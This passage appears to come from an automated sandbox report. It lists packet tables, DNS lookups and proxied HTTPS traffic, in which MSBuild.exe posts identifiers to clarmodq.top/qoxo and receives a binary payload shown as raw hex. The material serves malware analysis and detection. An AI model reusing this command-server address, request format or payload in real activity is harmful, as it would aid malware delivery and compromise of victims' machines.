Apr 12, 2025 01:47:20.826394081 CEST	443	49686	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:20.868407965 CEST	49687	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:20.868452072 CEST	443	49687	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:20.868535995 CEST	49687	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:20.868860960 CEST	49687	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:20.868875027 CEST	443	49687	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:21.124036074 CEST	443	49687	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:21.124172926 CEST	49687	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:21.125464916 CEST	49687	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:21.125483990 CEST	443	49687	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:21.125768900 CEST	443	49687	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:21.126934052 CEST	49687	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:21.127011061 CEST	49687	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:21.127022982 CEST	443	49687	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:21.707971096 CEST	443	49687	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:21.708158970 CEST	443	49687	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:21.708214045 CEST	49687	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:21.708265066 CEST	49687	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:21.708285093 CEST	443	49687	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:21.713632107 CEST	49688	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:21.713733912 CEST	443	49688	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:21.713826895 CEST	49688	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:21.714112043 CEST	49688	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:21.714140892 CEST	443	49688	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:21.938591957 CEST	443	49688	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:21.938714027 CEST	49688	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:21.939984083 CEST	49688	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:21.939992905 CEST	443	49688	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:21.940686941 CEST	443	49688	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:21.941951990 CEST	49688	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:21.941984892 CEST	49688	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:21.942120075 CEST	443	49688	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:22.494429111 CEST	443	49688	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:22.494513988 CEST	443	49688	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:22.494716883 CEST	49688	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:22.494762897 CEST	49688	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:22.494781017 CEST	443	49688	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:22.494795084 CEST	49688	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:22.494801044 CEST	443	49688	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:23.796586990 CEST	49673	443	192.168.2.8	2.23.227.215
Apr 12, 2025 01:47:23.796659946 CEST	443	49673	2.23.227.215	192.168.2.8
Apr 12, 2025 01:47:24.738527060 CEST	49691	80	192.168.2.8	74.125.21.94
Apr 12, 2025 01:47:24.845120907 CEST	80	49691	74.125.21.94	192.168.2.8
Apr 12, 2025 01:47:24.845223904 CEST	49691	80	192.168.2.8	74.125.21.94
Apr 12, 2025 01:47:24.845411062 CEST	49691	80	192.168.2.8	74.125.21.94
Apr 12, 2025 01:47:24.951488972 CEST	80	49691	74.125.21.94	192.168.2.8
Apr 12, 2025 01:47:24.953716993 CEST	80	49691	74.125.21.94	192.168.2.8
Apr 12, 2025 01:47:24.953732967 CEST	80	49691	74.125.21.94	192.168.2.8
Apr 12, 2025 01:47:24.953794956 CEST	49691	80	192.168.2.8	74.125.21.94
Apr 12, 2025 01:47:24.960251093 CEST	49691	80	192.168.2.8	74.125.21.94
Apr 12, 2025 01:47:25.068111897 CEST	80	49691	74.125.21.94	192.168.2.8
Apr 12, 2025 01:47:25.114954948 CEST	49691	80	192.168.2.8	74.125.21.94
Apr 12, 2025 01:47:42.537326097 CEST	49671	443	192.168.2.8	204.79.197.203
Apr 12, 2025 01:47:42.849446058 CEST	49671	443	192.168.2.8	204.79.197.203
Apr 12, 2025 01:47:43.458753109 CEST	49671	443	192.168.2.8	204.79.197.203
Apr 12, 2025 01:47:44.661895037 CEST	49671	443	192.168.2.8	204.79.197.203
Apr 12, 2025 01:47:47.068172932 CEST	49671	443	192.168.2.8	204.79.197.203
Apr 12, 2025 01:47:50.731334925 CEST	49678	443	192.168.2.8	20.42.65.90
Apr 12, 2025 01:47:51.036900043 CEST	49678	443	192.168.2.8	20.42.65.90
Apr 12, 2025 01:47:51.646409035 CEST	49678	443	192.168.2.8	20.42.65.90
Apr 12, 2025 01:47:51.880650043 CEST	49671	443	192.168.2.8	204.79.197.203
Apr 12, 2025 01:47:52.849438906 CEST	49678	443	192.168.2.8	20.42.65.90
Apr 12, 2025 01:47:55.255690098 CEST	49678	443	192.168.2.8	20.42.65.90
Apr 12, 2025 01:48:00.068223953 CEST	49678	443	192.168.2.8	20.42.65.90
Apr 12, 2025 01:48:01.490097046 CEST	49671	443	192.168.2.8	204.79.197.203
Apr 12, 2025 01:48:09.677628994 CEST	49678	443	192.168.2.8	20.42.65.90
Apr 12, 2025 01:48:25.287297010 CEST	49691	80	192.168.2.8	74.125.21.94
Apr 12, 2025 01:48:25.393665075 CEST	80	49691	74.125.21.94	192.168.2.8
Apr 12, 2025 01:48:25.393734932 CEST	49691	80	192.168.2.8	74.125.21.94
Apr 12, 2025 01:48:31.044502020 CEST	443	49681	13.107.246.41	192.168.2.8
Apr 12, 2025 01:48:31.044532061 CEST	443	49681	13.107.246.41	192.168.2.8
Apr 12, 2025 01:48:31.044549942 CEST	443	49681	13.107.246.41	192.168.2.8
Apr 12, 2025 01:48:31.044610977 CEST	49681	443	192.168.2.8	13.107.246.41
Apr 12, 2025 01:48:31.049154997 CEST	49681	443	192.168.2.8	13.107.246.41
Apr 12, 2025 01:48:31.156385899 CEST	443	49681	13.107.246.41	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 12, 2025 01:47:14.271352053 CEST	51897	53	192.168.2.8	1.1.1.1
Apr 12, 2025 01:47:14.465619087 CEST	53	51897	1.1.1.1	192.168.2.8
Apr 12, 2025 01:47:24.628315926 CEST	49579	53	192.168.2.8	1.1.1.1
Apr 12, 2025 01:47:24.735383034 CEST	53	49579	1.1.1.1	192.168.2.8
Apr 12, 2025 01:47:37.522512913 CEST	54937	53	192.168.2.8	1.1.1.1
Apr 12, 2025 01:47:37.630346060 CEST	53	54937	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 12, 2025 01:47:14.271352053 CEST	192.168.2.8	1.1.1.1	0x2c17	Standard query (0)	clarmodq.top	A (IP address)	IN (0x0001)	false
Apr 12, 2025 01:47:24.628315926 CEST	192.168.2.8	1.1.1.1	0x3562	Standard query (0)	c.pki.goog	A (IP address)	IN (0x0001)	false
Apr 12, 2025 01:47:37.522512913 CEST	192.168.2.8	1.1.1.1	0x1869	Standard query (0)	c.pki.goog	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 12, 2025 01:47:14.465619087 CEST	1.1.1.1	192.168.2.8	0x2c17	No error (0)	clarmodq.top		104.21.85.126	A (IP address)	IN (0x0001)	false
Apr 12, 2025 01:47:14.465619087 CEST	1.1.1.1	192.168.2.8	0x2c17	No error (0)	clarmodq.top		172.67.205.184	A (IP address)	IN (0x0001)	false
Apr 12, 2025 01:47:24.336236954 CEST	1.1.1.1	192.168.2.8	0x2f6f	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.48.23	A (IP address)	IN (0x0001)	false
Apr 12, 2025 01:47:24.336236954 CEST	1.1.1.1	192.168.2.8	0x2f6f	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.48.37	A (IP address)	IN (0x0001)	false
Apr 12, 2025 01:47:24.336236954 CEST	1.1.1.1	192.168.2.8	0x2f6f	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.55.18	A (IP address)	IN (0x0001)	false
Apr 12, 2025 01:47:24.336236954 CEST	1.1.1.1	192.168.2.8	0x2f6f	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.55.22	A (IP address)	IN (0x0001)	false
Apr 12, 2025 01:47:24.336236954 CEST	1.1.1.1	192.168.2.8	0x2f6f	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.48.18	A (IP address)	IN (0x0001)	false
Apr 12, 2025 01:47:24.336236954 CEST	1.1.1.1	192.168.2.8	0x2f6f	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.48.38	A (IP address)	IN (0x0001)	false
Apr 12, 2025 01:47:24.336236954 CEST	1.1.1.1	192.168.2.8	0x2f6f	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.55.34	A (IP address)	IN (0x0001)	false
Apr 12, 2025 01:47:24.336236954 CEST	1.1.1.1	192.168.2.8	0x2f6f	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.48.35	A (IP address)	IN (0x0001)	false
Apr 12, 2025 01:47:24.735383034 CEST	1.1.1.1	192.168.2.8	0x3562	No error (0)	c.pki.goog	pki-goog.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 12, 2025 01:47:24.735383034 CEST	1.1.1.1	192.168.2.8	0x3562	No error (0)	pki-goog.l.google.com		74.125.21.94	A (IP address)	IN (0x0001)	false
Apr 12, 2025 01:47:37.630346060 CEST	1.1.1.1	192.168.2.8	0x1869	No error (0)	c.pki.goog	pki-goog.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 12, 2025 01:47:37.630346060 CEST	1.1.1.1	192.168.2.8	0x1869	No error (0)	pki-goog.l.google.com		173.194.219.94	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

clarmodq.top

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.8	49691	74.125.21.94	80

Timestamp	Bytes transferred	Direction	Data
Apr 12, 2025 01:47:24.845411062 CEST	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Apr 12, 2025 01:47:24.953716993 CEST	1358	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 1739 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 11 Apr 2025 23:43:14 GMT Expires: Sat, 12 Apr 2025 00:33:14 GMT Cache-Control: public, max-age=3000 Age: 250 Last-Modified: Mon, 07 Apr 2025 13:58:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Data Raw: 30 82 06 c7 30 82 05 af 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 57 31 0b 30 09 06 03 55 04 06 13 02 42 45 31 19 30 17 06 03 55 04 0a 13 10 47 6c 6f 62 61 6c 53 69 67 6e 20 6e 76 2d 73 61 31 10 30 0e 06 03 55 04 0b 13 07 52 6f 6f 74 20 43 41 31 1b 30 19 06 03 55 04 03 13 12 47 6c 6f 62 61 6c 53 69 67 6e 20 52 6f 6f 74 20 43 41 17 0d 32 35 30 34 30 37 30 30 30 30 30 30 5a 17 0d 32 35 30 37 31 35 30 30 30 30 30 30 5a 30 82 04 f1 30 2a 02 0b 04 00 00 00 00 01 1e 44 a5 e4 04 17 0d 31 34 31 31 32 35 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2a 02 0b 04 00 00 00 00 01 29 45 c3 a8 0f 17 0d 31 34 31 31 32 35 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2a 02 0b 04 00 00 00 00 01 20 19 c1 8d 68 17 0d 31 34 31 31 32 35 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2a 02 0b 04 00 00 00 00 01 2c 5e 7f 1a 88 17 0d 31 34 31 31 32 35 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2a 02 0b 04 00 00 00 00 01 15 4b 5a [TRUNCATED] Data Ascii: 000H0W10UBE10UGlobalSign nv-sa10URoot CA10UGlobalSign Root CA250407000000Z250715000000Z00D141125000000Z00U0)E141125000000Z00U0 h141125000000Z00U0,^141125000000Z00U0KZ160107000000Z00U0/NIR170419000000Z00U0/NG170419000000Z00U0/N9191120000000Z00U0/N=k191204000000Z00U0*/N;X191204000000Z00U0-Ga7.u200630000000Z00U0-G
Apr 12, 2025 01:47:24.953732967 CEST	1094	IN	Data Raw: 9d c0 41 1c 9f 3e 54 68 41 17 0d 32 30 30 36 33 30 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2d 02 0e 47 c3 10 00 c0 4b fa 8a 26 54 b7 41 ec 2b 17 0d 32 30 30 36 33 30 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 Data Ascii: A>ThA200630000000Z00U0-GK&TA+200630000000Z00U0*6::200711160000Z00U0/vSBS%V>200728000000Z00U0/vSF-Kg>)200728000000Z00U0/vSHqe]c
Apr 12, 2025 01:47:24.960251093 CEST	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Apr 12, 2025 01:47:25.068111897 CEST	1243	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 530 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 11 Apr 2025 23:17:05 GMT Expires: Sat, 12 Apr 2025 00:07:05 GMT Cache-Control: public, max-age=3000 Age: 1820 Last-Modified: Thu, 03 Apr 2025 14:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Data Raw: 30 82 02 0e 30 82 01 93 02 01 01 30 0a 06 08 2a 86 48 ce 3d 04 03 03 30 47 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 22 30 20 06 03 55 04 0a 13 19 47 6f 6f 67 6c 65 20 54 72 75 73 74 20 53 65 72 76 69 63 65 73 20 4c 4c 43 31 14 30 12 06 03 55 04 03 13 0b 47 54 53 20 52 6f 6f 74 20 52 34 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 17 0d 32 36 30 32 32 38 30 37 35 39 35 39 5a 30 81 e9 30 2f 02 10 6e 47 a9 ce 4f 46 c2 3d e2 49 ea cc 38 94 53 73 17 0d 31 39 30 39 33 30 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 f0 9c 5b 70 05 a6 dc 86 e2 f9 9e f3 17 0d 32 30 30 31 33 31 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 fe a5 81 44 7e 3b fd 3b b8 1c 24 98 17 0d 32 33 30 36 31 33 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 16 68 25 e1 70 04 40 61 24 91 f5 40 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 00 8e b2 58 e7 b5 94 0c 1f f9 00 44 17 0d 32 35 30 [TRUNCATED] Data Ascii: 000H=0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R4250403080000Z260228075959Z00/nGOF=I8Ss190930000000Z00U0,[p200131000000Z00U0,D~;;$230613000000Z00U0,h%p@a$@250403080000Z00U0,XD250403080000Z00U/0-0U0U#0LtI6>j0H=i0f1>2en:IN@g=;bQZ~`NX1?^4y[$\4{;$zDeU6O

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49682	104.21.85.126	443	6604	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-11 23:47:14 UTC	261	OUT	POST /qoxo HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 97 Host: clarmodq.top
2025-04-11 23:47:14 UTC	97	OUT	Data Raw: 75 69 64 3d 30 34 33 65 38 66 31 34 62 39 34 65 39 35 30 63 62 36 61 32 35 62 64 63 30 66 38 61 39 65 39 32 30 30 31 37 33 38 31 32 33 65 66 36 34 32 64 63 39 35 31 30 34 62 36 62 26 63 69 64 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 Data Ascii: uid=043e8f14b94e950cb6a25bdc0f8a9e92001738123ef642dc95104b6b&cid=b9abc76ce53b6fc3a03566f8f764f5ea
2025-04-11 23:47:15 UTC	786	IN	HTTP/1.1 200 OK Date: Fri, 11 Apr 2025 23:47:15 GMT Content-Type: application/octet-stream Content-Length: 30903 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o1yEvDlBlPV2aAwvRjv%2FsZ27JQxZUnEXUMaGNehl6kJO%2FlCRsALry88i%2BAmH5RZv3CLb5rK5shPP4a8FQHKfJvE3KfRgJh3LDOGkOg9dgcx%2FRyRhqwXsVEgpvyJ2%2BTg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee5e327837879b-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=121461&min_rtt=121445&rtt_var=25649&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=994&delivery_rate=33217&cwnd=252&unsent_bytes=0&cid=a622fd6d9beec7ab&ts=599&x=0"
2025-04-11 23:47:15 UTC	583	IN	Data Raw: 15 ce cd 81 89 77 fc d5 45 5e 4c 67 3d 50 f7 36 a4 dc 88 9a 38 ef 87 ed 25 ab 9f ae e1 78 25 0e 64 2c 51 be 7b 02 62 bf 93 73 44 59 ae d4 a3 e9 25 4d c5 57 e6 b4 6d b0 48 19 e7 1f e9 6c b2 a5 fc 75 25 c7 ea 0d 0f 4d 83 99 28 e8 62 97 e7 82 b2 0e 3b 8b 46 d8 4a cc c0 f6 b5 ea 16 f6 25 39 3c d3 e1 a0 73 a6 f4 04 5b 84 49 e0 7a aa 8e 4f 05 57 df c6 e8 b9 51 8c 7c 86 f3 97 20 10 8d f2 3e 54 27 f2 cd 15 c3 27 2e ae e6 05 88 d9 05 3f ff e6 34 50 2a e5 2c 3d 84 6a 9b 81 72 57 e1 64 2b 14 3f 07 a2 0a 2a 62 09 a5 5e b1 10 90 62 39 a1 2c 47 a5 9d 31 38 89 c3 f0 66 bb 21 0a 66 e6 a4 92 bd c0 a5 57 7e 32 d8 73 b0 b6 eb e5 a4 35 bf 10 3f fe 01 9b 6c 1a f5 ef f4 86 0d 5c 7a a3 b6 c6 6b 73 4f c7 8e 17 55 93 90 dd 4b b0 e5 74 f4 8f 5d 9a 0e cc fb 71 30 bb 04 ec 40 09 63 Data Ascii: wE^Lg=P68%x%d,Q{bsDY%MWmHlu%M(b;FJ%9<s[IzOWQ\| >T''.?4P,=jrWd+?b^b9,G18f!fW~2s5?l\zksOUKt]q0@c
2025-04-11 23:47:15 UTC	1369	IN	Data Raw: 4d 57 08 b0 54 cf e7 d8 a7 ae f6 8e 84 e5 a4 f3 d6 fd 00 87 cb db 80 7a 5b 86 41 fe c5 f3 6a 97 1a 06 92 f4 96 55 5c f0 5c 73 df 40 49 88 18 78 7d 1d 98 3c fc 8f 11 e0 09 10 91 11 5b 55 34 68 1d be d5 d3 de 9f 97 d4 8d c5 a2 28 6c 87 d5 9b 27 25 5a 92 a3 dc d3 5a 09 a2 ee 5d ce 19 6b ae 33 d8 d4 f9 7d cb 41 aa c1 2e d5 4e 03 df 57 71 4b 35 65 c4 77 b8 c6 ec 30 6d e9 32 2c 8f b7 13 3b 92 3f 5d 93 2a fb 7b a7 35 ff 72 db 21 40 dc c3 fe 6c a0 03 a0 37 b2 d3 1d b9 10 4f c5 2b b0 5c f0 66 bc a9 7a 4c 68 f8 a4 58 2e c0 79 2f c9 58 97 c3 85 b5 b1 95 e2 6d 93 06 bc 2c c1 65 46 b1 4d 8c 89 8b 8f 9c 78 a8 07 be 3a cb 55 9f 6a 5e 8f da 33 e8 c6 cb 69 f9 0b 39 78 e2 15 53 e8 ea fa 83 0b f7 d9 f5 a6 3e 95 1b 7a e3 c8 f7 f0 67 e8 48 33 2a 08 a4 b1 e3 99 a6 85 f8 9c f1 Data Ascii: MWTz[AjU\\s@Ix}<[U4h(l'%ZZ]k3}A.NWqK5ew0m2,;?]{5r!@l7O+\fzLhX.y/Xm,eFMx:Uj^3i9xS>zgH3
2025-04-11 23:47:15 UTC	1369	IN	Data Raw: c7 f7 95 2d d6 76 36 0d 3a 40 25 e3 b7 f1 7c 11 8d 70 67 21 8f 47 7e 84 2f 45 6f 1f 1e 77 65 11 09 37 fe 99 3b 0e 10 f5 e8 46 ba 5b 74 3a c5 ae 10 7c 31 cf 3f e9 e9 cd 93 5a ad d7 fa 96 2c 9f a3 1f 74 35 3e 8e b3 23 35 67 fa 5d 9f e2 ca be 6d 55 9b a2 75 e1 b6 82 20 ba dd 4c b3 b6 ec 07 2b 93 5b 44 0f 42 81 39 b0 fb 73 0c 1d c4 8e f3 8c b0 80 25 e5 b1 1e 73 cc 48 80 37 6c c1 1c 37 bd b9 c5 82 c6 48 50 e1 fc 1f c5 d6 12 a8 f9 86 ba c9 8f d9 68 1c 86 f8 8b c4 7f 30 65 31 07 ea 5c d6 62 e1 c9 76 f9 2b 7e 4f 3e e7 12 99 9c cb 64 40 c0 75 8b 58 c8 f7 d9 d8 31 67 47 c5 d0 b5 46 30 13 13 1c 30 c5 fa 53 bc 59 c6 0d 3e 32 ad 36 58 38 ae 73 66 e4 7a a8 b7 e1 c3 de db 4f 59 ec 9e 5e 70 43 47 4b c5 aa 70 b8 65 1a 7b c4 bc 24 ab b7 5b 8b 42 82 0d eb e1 48 32 2d 34 0e Data Ascii: -v6:@%\|pg!G~/Eowe7;F[t:\|1?Z,t5>#5g]mUu L+[DB9s%sH7l7HPh0e1\bv+~O>d@uX1gGF00SY>26X8sfzOY^pCGKpe{$[BH2-4
2025-04-11 23:47:15 UTC	1369	IN	Data Raw: cd d3 65 60 cb b2 a0 e9 5c f4 2a bb 7f fb c4 48 b4 c3 51 96 d7 17 97 65 a5 56 da c6 31 23 b7 7e d5 de ec bd 9f bc fc 92 4e 49 33 c1 da 79 6d 62 41 dc 33 82 78 26 43 66 49 95 40 9c 20 95 9d 87 0b aa c3 6b 88 59 ed 6a cf 84 3c 29 3a b0 c3 06 23 a5 d9 29 6e d6 34 90 02 8e 40 29 1c 18 08 dc 63 56 2c 5e 67 71 f8 5f a8 27 1b e1 af a9 40 a5 57 e4 01 bf 28 1b 9e 97 81 01 34 d0 b1 8f 67 73 83 fb bc bd dc ff 76 12 bc d0 86 d7 4b 1b b3 52 55 01 88 0b bf 24 db a7 0c 30 45 0f 55 1c 83 4c e7 16 d9 f8 0c 5a 23 56 ad ce 98 d9 d4 14 42 d9 81 e3 96 09 08 a2 c6 b7 79 fb eb 04 42 09 9a 21 d2 8f 8e d9 ff 30 89 be 97 ac 2b 20 48 6d cd d8 cb 95 6c a2 12 70 09 50 b5 a9 67 91 3d 82 f0 d1 b7 7a 9a 2f 69 9e af c7 cd dd 72 0b 9d 8f de 95 e4 f7 f6 01 0a 27 67 da ed 4f ea b6 8e e8 b8 Data Ascii: e`\*HQeV1#~NI3ymbA3x&CfI@ kYj<):#)n4@)cV,^gq_'@W(4gsvKRU$0EULZ#VByB!0+ HmlpPg=z/ir'gO
2025-04-11 23:47:15 UTC	1369	IN	Data Raw: 1f 2a 18 4e a8 f4 e4 ac 72 9f 4f ed 2f 70 ed 04 95 23 25 b8 36 32 4f 2c e8 58 f2 87 2c 50 1a 2b 33 80 21 4d 91 1b c5 a4 9b b2 44 9e d0 ff 4b 31 88 02 da 18 c1 09 dd db e6 69 ad 60 39 91 4f 10 82 11 51 96 d5 ee 00 bb 27 0f 34 e6 0f c7 e4 62 3a bd 01 87 53 96 ca aa f3 5b 79 d0 f6 ec 5e d5 14 8c 39 b3 66 91 97 dd 7e 95 cd ad 9e a3 11 ed b3 25 56 51 2f 04 f4 06 3c cc a9 a2 11 ef d7 7a ac 62 64 3c 61 87 19 2f 34 f8 7b 30 19 b6 66 0b 9d 08 a9 af f9 88 f6 28 df 14 59 51 d1 10 14 3c bd 95 35 e8 10 ec 1d af ff be 6a 53 07 ee 78 8f c4 a1 89 e3 78 9f 1a 30 d2 14 8a 6b 93 75 8b 00 5a 23 02 b8 bb b5 fc a8 c7 3f f4 25 09 0d 59 e3 e9 58 76 e5 8a de 31 68 84 4a ea 08 d2 73 04 ea d2 c8 d3 6f 20 96 50 a9 61 82 15 79 4c bb e6 5d 05 c2 41 94 cb c9 31 8e 3f 03 c2 22 48 c9 dd Data Ascii: *NrO/p#%62O,X,P+3!MDK1i`9OQ'4b:S[y^9f~%VQ/<zbd<a/4{0f(YQ<5jSxx0kuZ#?%YXv1hJso PayL]A1?"H
2025-04-11 23:47:15 UTC	1369	IN	Data Raw: 5d 55 57 8c df 48 99 0a b2 a7 1b ee 3a 18 9b 1e 95 c9 6d 22 23 db 64 c3 5d e2 48 23 7d 3a 5a d0 55 19 6d 6d a3 4a 30 03 a0 d4 fd 4a b8 ee fa e3 44 34 58 ac e6 a5 e0 67 59 82 9c 7b ad c2 87 4b 66 58 27 b1 a1 bc 6a 45 9b 48 a8 27 33 cb 60 bf 62 9d 0a 01 47 e6 3a 43 c1 87 77 e1 1b 03 b2 52 56 d6 fd 08 6b 79 6d c8 85 68 8b eb 45 50 74 a4 df 4a 3b 12 95 6b bd ee 48 a4 4f 17 5a 5c df 92 36 f7 93 ee 3d c2 78 2b 09 e1 6a 07 5c 00 fc 34 5c 6f 9c 4d 68 24 e9 23 12 28 95 cb 3f 6f 0b 40 c0 32 72 38 50 bc ad 96 6d aa 81 7f ef 43 4d fb c5 eb 5f 7e 0c 5a 9a d7 5a 10 44 1a db ca 42 56 0d 01 a8 b6 0d f7 5e e7 ee dd 64 67 49 5e c8 a8 35 e2 ee 5b 9d 58 a4 f1 dd 85 d9 d9 9f 12 9a f1 22 2c 09 22 74 02 da 5c 8f a2 9a 11 fd af b9 cd a1 56 93 eb 33 f7 7c 01 6d f0 46 99 47 86 07 Data Ascii: ]UWH:m"#d]H#}:ZUmmJ0JD4XgY{KfX'jEH'3`bG:CwRVkymhEPtJ;kHOZ\6=x+j\4\oMh$#(?o@2r8PmCM_~ZZDBV^dgI^5[X","t\V3\|mFG
